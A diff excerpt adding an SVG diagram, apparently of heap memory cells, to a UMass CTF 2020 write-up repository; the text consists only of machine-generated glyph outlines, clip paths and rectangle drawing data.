  <use xlink:href="#glyph0-1" x="337.2726" y="237.687"/>
  <use xlink:href="#glyph0-1" x="342.2539" y="237.687"/>
  <use xlink:href="#glyph0-1" x="347.2352" y="237.687"/>
  <use xlink:href="#glyph0-1" x="352.2165" y="237.687"/>
</g>
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -148.819625 L 170.08225 -162.995406 L 255.121312 -162.995406 L 255.121312 -148.819625 Z M 170.08225 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<g clip-path="url(#clip4)" clip-rule="nonzero">
<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -148.819625 L 255.121312 -162.995406 L 368.508031 -162.995406 L 368.508031 -148.819625 Z M 255.121312 -148.819625 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
</g>
</g>
</svg>

A org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg => org/UMass CTF 2020 - suckless Writeup/MyrddinHeap.svg +694 -0
@@ 0,0 1,694 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="368.902pt" height="242.225pt" viewBox="0 0 368.902 242.225" version="1.1">
<defs>
<g>
<symbol overflow="visible" id="glyph0-0">
<path style="stroke:none;" d=""/>
</symbol>
<symbol overflow="visible" id="glyph0-1">
<path style="stroke:none;" d="M 4.578125 -3.1875 C 4.578125 -3.984375 4.53125 -4.78125 4.1875 -5.515625 C 3.734375 -6.484375 2.90625 -6.640625 2.5 -6.640625 C 1.890625 -6.640625 1.171875 -6.375 0.75 -5.453125 C 0.4375 -4.765625 0.390625 -3.984375 0.390625 -3.1875 C 0.390625 -2.4375 0.421875 -1.546875 0.84375 -0.78125 C 1.265625 0.015625 2 0.21875 2.484375 0.21875 C 3.015625 0.21875 3.78125 0.015625 4.21875 -0.9375 C 4.53125 -1.625 4.578125 -2.40625 4.578125 -3.1875 Z M 2.484375 0 C 2.09375 0 1.5 -0.25 1.328125 -1.203125 C 1.21875 -1.796875 1.21875 -2.71875 1.21875 -3.3125 C 1.21875 -3.953125 1.21875 -4.609375 1.296875 -5.140625 C 1.484375 -6.328125 2.234375 -6.421875 2.484375 -6.421875 C 2.8125 -6.421875 3.46875 -6.234375 3.65625 -5.25 C 3.765625 -4.6875 3.765625 -3.9375 3.765625 -3.3125 C 3.765625 -2.5625 3.765625 -1.890625 3.65625 -1.25 C 3.5 -0.296875 2.9375 0 2.484375 0 Z M 2.484375 0 "/>
</symbol>
<symbol overflow="visible" id="glyph0-2">
<path style="stroke:none;" d="M 4.75 -6.078125 C 4.828125 -6.1875 4.828125 -6.203125 4.828125 -6.421875 L 2.40625 -6.421875 C 1.203125 -6.421875 1.171875 -6.546875 1.140625 -6.734375 L 0.890625 -6.734375 L 0.5625 -4.6875 L 0.8125 -4.6875 C 0.84375 -4.84375 0.921875 -5.46875 1.0625 -5.59375 C 1.125 -5.65625 1.90625 -5.65625 2.03125 -5.65625 L 4.09375 -5.65625 C 3.984375 -5.5 3.203125 -4.40625 2.984375 -4.078125 C 2.078125 -2.734375 1.75 -1.34375 1.75 -0.328125 C 1.75 -0.234375 1.75 0.21875 2.21875 0.21875 C 2.671875 0.21875 2.671875 -0.234375 2.671875 -0.328125 L 2.671875 -0.84375 C 2.671875 -1.390625 2.703125 -1.9375 2.78125 -2.46875 C 2.828125 -2.703125 2.953125 -3.5625 3.40625 -4.171875 Z M 4.75 -6.078125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-3">
<path style="stroke:none;" d="M 2.890625 -3.515625 C 3.703125 -3.78125 4.28125 -4.46875 4.28125 -5.265625 C 4.28125 -6.078125 3.40625 -6.640625 2.453125 -6.640625 C 1.453125 -6.640625 0.6875 -6.046875 0.6875 -5.28125 C 0.6875 -4.953125 0.90625 -4.765625 1.203125 -4.765625 C 1.5 -4.765625 1.703125 -4.984375 1.703125 -5.28125 C 1.703125 -5.765625 1.234375 -5.765625 1.09375 -5.765625 C 1.390625 -6.265625 2.046875 -6.390625 2.40625 -6.390625 C 2.828125 -6.390625 3.375 -6.171875 3.375 -5.28125 C 3.375 -5.15625 3.34375 -4.578125 3.09375 -4.140625 C 2.796875 -3.65625 2.453125 -3.625 2.203125 -3.625 C 2.125 -3.609375 1.890625 -3.59375 1.8125 -3.59375 C 1.734375 -3.578125 1.671875 -3.5625 1.671875 -3.46875 C 1.671875 -3.359375 1.734375 -3.359375 1.90625 -3.359375 L 2.34375 -3.359375 C 3.15625 -3.359375 3.53125 -2.6875 3.53125 -1.703125 C 3.53125 -0.34375 2.84375 -0.0625 2.40625 -0.0625 C 1.96875 -0.0625 1.21875 -0.234375 0.875 -0.8125 C 1.21875 -0.765625 1.53125 -0.984375 1.53125 -1.359375 C 1.53125 -1.71875 1.265625 -1.921875 0.984375 -1.921875 C 0.734375 -1.921875 0.421875 -1.78125 0.421875 -1.34375 C 0.421875 -0.4375 1.34375 0.21875 2.4375 0.21875 C 3.65625 0.21875 4.5625 -0.6875 4.5625 -1.703125 C 4.5625 -2.515625 3.921875 -3.296875 2.890625 -3.515625 Z M 2.890625 -3.515625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-4">
<path style="stroke:none;" d="M 2.9375 -1.640625 L 2.9375 -0.78125 C 2.9375 -0.421875 2.90625 -0.3125 2.171875 -0.3125 L 1.96875 -0.3125 L 1.96875 0 C 2.375 -0.03125 2.890625 -0.03125 3.3125 -0.03125 C 3.734375 -0.03125 4.25 -0.03125 4.671875 0 L 4.671875 -0.3125 L 4.453125 -0.3125 C 3.71875 -0.3125 3.703125 -0.421875 3.703125 -0.78125 L 3.703125 -1.640625 L 4.6875 -1.640625 L 4.6875 -1.953125 L 3.703125 -1.953125 L 3.703125 -6.484375 C 3.703125 -6.6875 3.703125 -6.75 3.53125 -6.75 C 3.453125 -6.75 3.421875 -6.75 3.34375 -6.625 L 0.28125 -1.953125 L 0.28125 -1.640625 Z M 2.984375 -1.953125 L 0.5625 -1.953125 L 2.984375 -5.671875 Z M 2.984375 -1.953125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-5">
<path style="stroke:none;" d="M 4.46875 -2 C 4.46875 -3.1875 3.65625 -4.1875 2.578125 -4.1875 C 2.109375 -4.1875 1.671875 -4.03125 1.3125 -3.671875 L 1.3125 -5.625 C 1.515625 -5.5625 1.84375 -5.5 2.15625 -5.5 C 3.390625 -5.5 4.09375 -6.40625 4.09375 -6.53125 C 4.09375 -6.59375 4.0625 -6.640625 3.984375 -6.640625 C 3.984375 -6.640625 3.953125 -6.640625 3.90625 -6.609375 C 3.703125 -6.515625 3.21875 -6.3125 2.546875 -6.3125 C 2.15625 -6.3125 1.6875 -6.390625 1.21875 -6.59375 C 1.140625 -6.625 1.125 -6.625 1.109375 -6.625 C 1 -6.625 1 -6.546875 1 -6.390625 L 1 -3.4375 C 1 -3.265625 1 -3.1875 1.140625 -3.1875 C 1.21875 -3.1875 1.234375 -3.203125 1.28125 -3.265625 C 1.390625 -3.421875 1.75 -3.96875 2.5625 -3.96875 C 3.078125 -3.96875 3.328125 -3.515625 3.40625 -3.328125 C 3.5625 -2.953125 3.59375 -2.578125 3.59375 -2.078125 C 3.59375 -1.71875 3.59375 -1.125 3.34375 -0.703125 C 3.109375 -0.3125 2.734375 -0.0625 2.28125 -0.0625 C 1.5625 -0.0625 0.984375 -0.59375 0.8125 -1.171875 C 0.84375 -1.171875 0.875 -1.15625 0.984375 -1.15625 C 1.3125 -1.15625 1.484375 -1.40625 1.484375 -1.640625 C 1.484375 -1.890625 1.3125 -2.140625 0.984375 -2.140625 C 0.84375 -2.140625 0.5 -2.0625 0.5 -1.609375 C 0.5 -0.75 1.1875 0.21875 2.296875 0.21875 C 3.453125 0.21875 4.46875 -0.734375 4.46875 -2 Z M 4.46875 -2 "/>
</symbol>
<symbol overflow="visible" id="glyph0-6">
<path style="stroke:none;" d="M 1.3125 -3.265625 L 1.3125 -3.515625 C 1.3125 -6.03125 2.546875 -6.390625 3.0625 -6.390625 C 3.296875 -6.390625 3.71875 -6.328125 3.9375 -5.984375 C 3.78125 -5.984375 3.390625 -5.984375 3.390625 -5.546875 C 3.390625 -5.234375 3.625 -5.078125 3.84375 -5.078125 C 4 -5.078125 4.3125 -5.171875 4.3125 -5.5625 C 4.3125 -6.15625 3.875 -6.640625 3.046875 -6.640625 C 1.765625 -6.640625 0.421875 -5.359375 0.421875 -3.15625 C 0.421875 -0.484375 1.578125 0.21875 2.5 0.21875 C 3.609375 0.21875 4.5625 -0.71875 4.5625 -2.03125 C 4.5625 -3.296875 3.671875 -4.25 2.5625 -4.25 C 1.890625 -4.25 1.515625 -3.75 1.3125 -3.265625 Z M 2.5 -0.0625 C 1.875 -0.0625 1.578125 -0.65625 1.515625 -0.8125 C 1.328125 -1.28125 1.328125 -2.078125 1.328125 -2.25 C 1.328125 -3.03125 1.65625 -4.03125 2.546875 -4.03125 C 2.71875 -4.03125 3.171875 -4.03125 3.484375 -3.40625 C 3.65625 -3.046875 3.65625 -2.53125 3.65625 -2.046875 C 3.65625 -1.5625 3.65625 -1.0625 3.484375 -0.703125 C 3.1875 -0.109375 2.734375 -0.0625 2.5 -0.0625 Z M 2.5 -0.0625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-7">
<path style="stroke:none;" d="M 3.296875 2.390625 C 3.296875 2.359375 3.296875 2.34375 3.125 2.171875 C 1.890625 0.921875 1.5625 -0.96875 1.5625 -2.5 C 1.5625 -4.234375 1.9375 -5.96875 3.171875 -7.203125 C 3.296875 -7.328125 3.296875 -7.34375 3.296875 -7.375 C 3.296875 -7.453125 3.265625 -7.484375 3.203125 -7.484375 C 3.09375 -7.484375 2.203125 -6.796875 1.609375 -5.53125 C 1.109375 -4.4375 0.984375 -3.328125 0.984375 -2.5 C 0.984375 -1.71875 1.09375 -0.515625 1.640625 0.625 C 2.25 1.84375 3.09375 2.5 3.203125 2.5 C 3.265625 2.5 3.296875 2.46875 3.296875 2.390625 Z M 3.296875 2.390625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-8">
<path style="stroke:none;" d="M 2.21875 -1.71875 C 1.34375 -1.71875 1.34375 -2.71875 1.34375 -2.9375 C 1.34375 -3.203125 1.359375 -3.53125 1.5 -3.78125 C 1.578125 -3.890625 1.8125 -4.171875 2.21875 -4.171875 C 3.078125 -4.171875 3.078125 -3.1875 3.078125 -2.953125 C 3.078125 -2.6875 3.078125 -2.359375 2.921875 -2.109375 C 2.84375 -2 2.609375 -1.71875 2.21875 -1.71875 Z M 1.0625 -1.328125 C 1.0625 -1.359375 1.0625 -1.59375 1.21875 -1.796875 C 1.609375 -1.515625 2.03125 -1.484375 2.21875 -1.484375 C 3.140625 -1.484375 3.828125 -2.171875 3.828125 -2.9375 C 3.828125 -3.3125 3.671875 -3.671875 3.421875 -3.90625 C 3.78125 -4.25 4.140625 -4.296875 4.3125 -4.296875 C 4.34375 -4.296875 4.390625 -4.296875 4.421875 -4.28125 C 4.3125 -4.25 4.25 -4.140625 4.25 -4.015625 C 4.25 -3.84375 4.390625 -3.734375 4.546875 -3.734375 C 4.640625 -3.734375 4.828125 -3.796875 4.828125 -4.03125 C 4.828125 -4.203125 4.71875 -4.515625 4.328125 -4.515625 C 4.125 -4.515625 3.6875 -4.453125 3.265625 -4.046875 C 2.84375 -4.375 2.4375 -4.40625 2.21875 -4.40625 C 1.28125 -4.40625 0.59375 -3.71875 0.59375 -2.953125 C 0.59375 -2.515625 0.8125 -2.140625 1.0625 -1.921875 C 0.9375 -1.78125 0.75 -1.453125 0.75 -1.09375 C 0.75 -0.78125 0.890625 -0.40625 1.203125 -0.203125 C 0.59375 -0.046875 0.28125 0.390625 0.28125 0.78125 C 0.28125 1.5 1.265625 2.046875 2.484375 2.046875 C 3.65625 2.046875 4.6875 1.546875 4.6875 0.765625 C 4.6875 0.421875 4.5625 -0.09375 4.046875 -0.375 C 3.515625 -0.640625 2.9375 -0.640625 2.328125 -0.640625 C 2.078125 -0.640625 1.65625 -0.640625 1.578125 -0.65625 C 1.265625 -0.703125 1.0625 -1 1.0625 -1.328125 Z M 2.5 1.828125 C 1.484375 1.828125 0.796875 1.3125 0.796875 0.78125 C 0.796875 0.328125 1.171875 -0.046875 1.609375 -0.0625 L 2.203125 -0.0625 C 3.0625 -0.0625 4.171875 -0.0625 4.171875 0.78125 C 4.171875 1.328125 3.46875 1.828125 2.5 1.828125 Z M 2.5 1.828125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-9">
<path style="stroke:none;" d="M 3.78125 -0.546875 L 3.78125 0.109375 L 5.25 0 L 5.25 -0.3125 C 4.5625 -0.3125 4.46875 -0.375 4.46875 -0.875 L 4.46875 -6.921875 L 3.046875 -6.8125 L 3.046875 -6.5 C 3.734375 -6.5 3.8125 -6.4375 3.8125 -5.9375 L 3.8125 -3.78125 C 3.53125 -4.140625 3.09375 -4.40625 2.5625 -4.40625 C 1.390625 -4.40625 0.34375 -3.421875 0.34375 -2.140625 C 0.34375 -0.875 1.3125 0.109375 2.453125 0.109375 C 3.09375 0.109375 3.53125 -0.234375 3.78125 -0.546875 Z M 3.78125 -3.21875 L 3.78125 -1.171875 C 3.78125 -1 3.78125 -0.984375 3.671875 -0.8125 C 3.375 -0.328125 2.9375 -0.109375 2.5 -0.109375 C 2.046875 -0.109375 1.6875 -0.375 1.453125 -0.75 C 1.203125 -1.15625 1.171875 -1.71875 1.171875 -2.140625 C 1.171875 -2.5 1.1875 -3.09375 1.46875 -3.546875 C 1.6875 -3.859375 2.0625 -4.1875 2.609375 -4.1875 C 2.953125 -4.1875 3.375 -4.03125 3.671875 -3.59375 C 3.78125 -3.421875 3.78125 -3.40625 3.78125 -3.21875 Z M 3.78125 -3.21875 "/>
</symbol>
<symbol overflow="visible" id="glyph0-10">
<path style="stroke:none;" d="M 1.71875 -3.765625 L 1.71875 -6.921875 L 0.28125 -6.8125 L 0.28125 -6.5 C 0.984375 -6.5 1.0625 -6.4375 1.0625 -5.9375 L 1.0625 0 L 1.3125 0 C 1.3125 -0.015625 1.390625 -0.15625 1.671875 -0.625 C 1.8125 -0.390625 2.234375 0.109375 2.96875 0.109375 C 4.15625 0.109375 5.1875 -0.875 5.1875 -2.15625 C 5.1875 -3.421875 4.21875 -4.40625 3.078125 -4.40625 C 2.296875 -4.40625 1.875 -3.9375 1.71875 -3.765625 Z M 1.75 -1.140625 L 1.75 -3.1875 C 1.75 -3.375 1.75 -3.390625 1.859375 -3.546875 C 2.25 -4.109375 2.796875 -4.1875 3.03125 -4.1875 C 3.484375 -4.1875 3.84375 -3.921875 4.078125 -3.546875 C 4.34375 -3.140625 4.359375 -2.578125 4.359375 -2.15625 C 4.359375 -1.796875 4.34375 -1.203125 4.0625 -0.75 C 3.84375 -0.4375 3.46875 -0.109375 2.9375 -0.109375 C 2.484375 -0.109375 2.125 -0.34375 1.890625 -0.71875 C 1.75 -0.921875 1.75 -0.953125 1.75 -1.140625 Z M 1.75 -1.140625 "/>
</symbol>
<symbol overflow="visible" id="glyph0-11">
<path style="stroke:none;" d="M 2.875 -2.5 C 2.875 -3.265625 2.765625 -4.46875 2.21875 -5.609375 C 1.625 -6.828125 0.765625 -7.484375 0.671875 -7.484375 C 0.609375 -7.484375 0.5625 -7.4375 0.5625 -7.375 C 0.5625 -7.34375 0.5625 -7.328125 0.75 -7.140625 C 1.734375 -6.15625 2.296875 -4.578125 2.296875 -2.5 C 2.296875 -0.78125 1.9375 0.96875 0.703125 2.21875 C 0.5625 2.34375 0.5625 2.359375 0.5625 2.390625 C 0.5625 2.453125 0.609375 2.5 0.671875 2.5 C 0.765625 2.5 1.671875 1.8125 2.25 0.546875 C 2.765625 -0.546875 2.875 -1.65625 2.875 -2.5 Z M 2.875 -2.5 "/>
</symbol>
<symbol overflow="visible" id="glyph0-12">
<path style="stroke:none;" d="M 2.859375 -2.34375 C 3.15625 -2.71875 3.53125 -3.203125 3.78125 -3.46875 C 4.09375 -3.828125 4.5 -3.984375 4.96875 -3.984375 L 4.96875 -4.296875 C 4.703125 -4.28125 4.40625 -4.265625 4.140625 -4.265625 C 3.84375 -4.265625 3.3125 -4.28125 3.1875 -4.296875 L 3.1875 -3.984375 C 3.40625 -3.96875 3.484375 -3.84375 3.484375 -3.671875 C 3.484375 -3.515625 3.375 -3.390625 3.328125 -3.328125 L 2.71875 -2.546875 L 1.9375 -3.5625 C 1.84375 -3.65625 1.84375 -3.671875 1.84375 -3.734375 C 1.84375 -3.890625 2 -3.984375 2.1875 -3.984375 L 2.1875 -4.296875 C 1.9375 -4.28125 1.28125 -4.265625 1.109375 -4.265625 C 0.90625 -4.265625 0.4375 -4.28125 0.171875 -4.296875 L 0.171875 -3.984375 C 0.875 -3.984375 0.875 -3.984375 1.34375 -3.375 L 2.328125 -2.09375 L 1.390625 -0.90625 C 0.921875 -0.328125 0.328125 -0.3125 0.125 -0.3125 L 0.125 0 C 0.375 -0.015625 0.6875 -0.03125 0.953125 -0.03125 C 1.234375 -0.03125 1.65625 -0.015625 1.890625 0 L 1.890625 -0.3125 C 1.671875 -0.34375 1.609375 -0.46875 1.609375 -0.625 C 1.609375 -0.84375 1.890625 -1.171875 2.5 -1.890625 L 3.265625 -0.890625 C 3.34375 -0.78125 3.46875 -0.625 3.46875 -0.5625 C 3.46875 -0.46875 3.375 -0.3125 3.109375 -0.3125 L 3.109375 0 C 3.40625 -0.015625 3.96875 -0.03125 4.1875 -0.03125 C 4.453125 -0.03125 4.84375 -0.015625 5.140625 0 L 5.140625 -0.3125 C 4.609375 -0.3125 4.421875 -0.328125 4.203125 -0.625 Z M 2.859375 -2.34375 "/>
</symbol>
<symbol overflow="visible" id="glyph0-13">
<path style="stroke:none;" d="M 4.359375 -7.09375 C 4.421875 -7.234375 4.421875 -7.25 4.421875 -7.28125 C 4.421875 -7.390625 4.328125 -7.484375 4.21875 -7.484375 C 4.078125 -7.484375 4.03125 -7.375 4 -7.28125 L 0.609375 2.109375 C 0.5625 2.25 0.5625 2.265625 0.5625 2.296875 C 0.5625 2.40625 0.640625 2.5 0.75 2.5 C 0.890625 2.5 0.9375 2.390625 0.96875 2.296875 Z M 4.359375 -7.09375 "/>
</symbol>
<symbol overflow="visible" id="glyph0-14">
<path style="stroke:none;" d="M 1.90625 -3.765625 C 1.90625 -4.0625 1.671875 -4.296875 1.390625 -4.296875 C 1.09375 -4.296875 0.859375 -4.0625 0.859375 -3.765625 C 0.859375 -3.484375 1.09375 -3.234375 1.390625 -3.234375 C 1.671875 -3.234375 1.90625 -3.484375 1.90625 -3.765625 Z M 1.90625 -0.53125 C 1.90625 -0.8125 1.671875 -1.0625 1.390625 -1.0625 C 1.09375 -1.0625 0.859375 -0.8125 0.859375 -0.53125 C 0.859375 -0.234375 1.09375 0 1.390625 0 C 1.671875 0 1.90625 -0.234375 1.90625 -0.53125 Z M 1.90625 -0.53125 "/>
</symbol>
<symbol overflow="visible" id="glyph0-15">
<path style="stroke:none;" d="M 1.265625 -0.765625 L 2.328125 -1.796875 C 3.875 -3.171875 4.46875 -3.703125 4.46875 -4.703125 C 4.46875 -5.84375 3.578125 -6.640625 2.359375 -6.640625 C 1.234375 -6.640625 0.5 -5.71875 0.5 -4.828125 C 0.5 -4.28125 1 -4.28125 1.03125 -4.28125 C 1.203125 -4.28125 1.546875 -4.390625 1.546875 -4.8125 C 1.546875 -5.0625 1.359375 -5.328125 1.015625 -5.328125 C 0.9375 -5.328125 0.921875 -5.328125 0.890625 -5.3125 C 1.109375 -5.96875 1.65625 -6.328125 2.234375 -6.328125 C 3.140625 -6.328125 3.5625 -5.515625 3.5625 -4.703125 C 3.5625 -3.90625 3.078125 -3.125 2.515625 -2.5 L 0.609375 -0.375 C 0.5 -0.265625 0.5 -0.234375 0.5 0 L 4.203125 0 L 4.46875 -1.734375 L 4.234375 -1.734375 C 4.171875 -1.4375 4.109375 -1 4 -0.84375 C 3.9375 -0.765625 3.28125 -0.765625 3.0625 -0.765625 Z M 1.265625 -0.765625 "/>
</symbol>
<symbol overflow="visible" id="glyph1-0">
<path style="stroke:none;" d=""/>
</symbol>
<symbol overflow="visible" id="glyph1-1">
<path style="stroke:none;" d="M 3.328125 -3.015625 C 3.390625 -3.265625 3.625 -4.1875 4.3125 -4.1875 C 4.359375 -4.1875 4.609375 -4.1875 4.8125 -4.0625 C 4.53125 -4 4.34375 -3.765625 4.34375 -3.515625 C 4.34375 -3.359375 4.453125 -3.171875 4.71875 -3.171875 C 4.9375 -3.171875 5.25 -3.34375 5.25 -3.75 C 5.25 -4.265625 4.671875 -4.40625 4.328125 -4.40625 C 3.75 -4.40625 3.40625 -3.875 3.28125 -3.65625 C 3.03125 -4.3125 2.5 -4.40625 2.203125 -4.40625 C 1.171875 -4.40625 0.59375 -3.125 0.59375 -2.875 C 0.59375 -2.765625 0.703125 -2.765625 0.71875 -2.765625 C 0.796875 -2.765625 0.828125 -2.796875 0.84375 -2.875 C 1.1875 -3.9375 1.84375 -4.1875 2.1875 -4.1875 C 2.375 -4.1875 2.71875 -4.09375 2.71875 -3.515625 C 2.71875 -3.203125 2.546875 -2.546875 2.1875 -1.140625 C 2.03125 -0.53125 1.671875 -0.109375 1.234375 -0.109375 C 1.171875 -0.109375 0.953125 -0.109375 0.734375 -0.234375 C 0.984375 -0.296875 1.203125 -0.5 1.203125 -0.78125 C 1.203125 -1.046875 0.984375 -1.125 0.84375 -1.125 C 0.53125 -1.125 0.296875 -0.875 0.296875 -0.546875 C 0.296875 -0.09375 0.78125 0.109375 1.21875 0.109375 C 1.890625 0.109375 2.25 -0.59375 2.265625 -0.640625 C 2.390625 -0.28125 2.75 0.109375 3.34375 0.109375 C 4.375 0.109375 4.9375 -1.171875 4.9375 -1.421875 C 4.9375 -1.53125 4.859375 -1.53125 4.828125 -1.53125 C 4.734375 -1.53125 4.71875 -1.484375 4.6875 -1.421875 C 4.359375 -0.34375 3.6875 -0.109375 3.375 -0.109375 C 2.984375 -0.109375 2.828125 -0.421875 2.828125 -0.765625 C 2.828125 -0.984375 2.875 -1.203125 2.984375 -1.640625 Z M 3.328125 -3.015625 "/>
</symbol>
<symbol overflow="visible" id="glyph1-2">
<path style="stroke:none;" d="M 3.65625 -3.984375 L 4.515625 -3.984375 C 4.71875 -3.984375 4.8125 -3.984375 4.8125 -4.1875 C 4.8125 -4.296875 4.71875 -4.296875 4.546875 -4.296875 L 3.71875 -4.296875 L 3.921875 -5.4375 C 3.96875 -5.640625 4.109375 -6.34375 4.171875 -6.46875 C 4.25 -6.65625 4.421875 -6.8125 4.640625 -6.8125 C 4.671875 -6.8125 4.9375 -6.8125 5.125 -6.625 C 4.6875 -6.59375 4.578125 -6.234375 4.578125 -6.09375 C 4.578125 -5.859375 4.765625 -5.734375 4.953125 -5.734375 C 5.21875 -5.734375 5.5 -5.96875 5.5 -6.34375 C 5.5 -6.796875 5.046875 -7.03125 4.640625 -7.03125 C 4.296875 -7.03125 3.671875 -6.84375 3.375 -5.859375 C 3.3125 -5.65625 3.28125 -5.546875 3.046875 -4.296875 L 2.359375 -4.296875 C 2.15625 -4.296875 2.046875 -4.296875 2.046875 -4.109375 C 2.046875 -3.984375 2.140625 -3.984375 2.328125 -3.984375 L 2.984375 -3.984375 L 2.25 -0.046875 C 2.0625 0.921875 1.890625 1.828125 1.375 1.828125 C 1.328125 1.828125 1.09375 1.828125 0.890625 1.640625 C 1.359375 1.609375 1.453125 1.25 1.453125 1.109375 C 1.453125 0.875 1.265625 0.75 1.078125 0.75 C 0.8125 0.75 0.53125 0.984375 0.53125 1.359375 C 0.53125 1.796875 0.96875 2.046875 1.375 2.046875 C 1.921875 2.046875 2.328125 1.453125 2.5 1.078125 C 2.828125 0.453125 3.046875 -0.75 3.0625 -0.828125 Z M 3.65625 -3.984375 "/>
</symbol>
<symbol overflow="visible" id="glyph1-3">
<path style="stroke:none;" d="M 2.375 -6.8125 C 2.375 -6.8125 2.375 -6.921875 2.25 -6.921875 C 2.03125 -6.921875 1.296875 -6.84375 1.03125 -6.8125 C 0.953125 -6.8125 0.84375 -6.796875 0.84375 -6.625 C 0.84375 -6.5 0.9375 -6.5 1.09375 -6.5 C 1.5625 -6.5 1.578125 -6.4375 1.578125 -6.328125 C 1.578125 -6.265625 1.5 -5.921875 1.453125 -5.71875 L 0.625 -2.46875 C 0.515625 -1.96875 0.46875 -1.796875 0.46875 -1.453125 C 0.46875 -0.515625 1 0.109375 1.734375 0.109375 C 2.90625 0.109375 4.140625 -1.375 4.140625 -2.8125 C 4.140625 -3.71875 3.609375 -4.40625 2.8125 -4.40625 C 2.359375 -4.40625 1.9375 -4.109375 1.640625 -3.8125 Z M 1.453125 -3.046875 C 1.5 -3.265625 1.5 -3.28125 1.59375 -3.390625 C 2.078125 -4.03125 2.53125 -4.1875 2.796875 -4.1875 C 3.15625 -4.1875 3.421875 -3.890625 3.421875 -3.25 C 3.421875 -2.65625 3.09375 -1.515625 2.90625 -1.140625 C 2.578125 -0.46875 2.125 -0.109375 1.734375 -0.109375 C 1.390625 -0.109375 1.0625 -0.375 1.0625 -1.109375 C 1.0625 -1.3125 1.0625 -1.5 1.21875 -2.125 Z M 1.453125 -3.046875 "/>
</symbol>
</g>
<clipPath id="clip1">
  <path d="M 255 142 L 368.902344 142 L 368.902344 157 L 255 157 Z M 255 142 "/>
</clipPath>
<clipPath id="clip2">
  <path d="M 255 170 L 368.902344 170 L 368.902344 186 L 255 186 Z M 255 170 "/>
</clipPath>
<clipPath id="clip3">
  <path d="M 255 198 L 368.902344 198 L 368.902344 214 L 255 214 Z M 255 198 "/>
</clipPath>
<clipPath id="clip4">
  <path d="M 255 227 L 368.902344 227 L 368.902344 242 L 255 242 Z M 255 227 "/>
</clipPath>
</defs>
<g id="surface1">
<path style="fill-rule:nonzero;fill:rgb(75%,75%,75%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.00021875 0.0006875 L 0.00021875 28.348344 L 5.668188 28.348344 L 5.668188 0.0006875 Z M 0.00021875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.668188 0.0006875 L 5.668188 28.348344 L 11.340063 28.348344 L 11.340063 0.0006875 Z M 5.668188 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.340063 0.0006875 L 11.340063 28.348344 L 17.008031 28.348344 L 17.008031 0.0006875 Z M 11.340063 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.008031 0.0006875 L 17.008031 28.348344 L 22.676 28.348344 L 22.676 0.0006875 Z M 17.008031 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.676 0.0006875 L 22.676 28.348344 L 28.347875 28.348344 L 28.347875 0.0006875 Z M 22.676 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.347875 0.0006875 L 28.347875 28.348344 L 34.015844 28.348344 L 34.015844 0.0006875 Z M 28.347875 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 34.015844 0.0006875 L 34.015844 28.348344 L 39.683813 28.348344 L 39.683813 0.0006875 Z M 34.015844 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
<path style="fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 39.683813 0.0006875 L 39.683813 28.348344 L 45.355688 28.348344 L 45.355688 0.0006875 Z M 39.683813 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/>
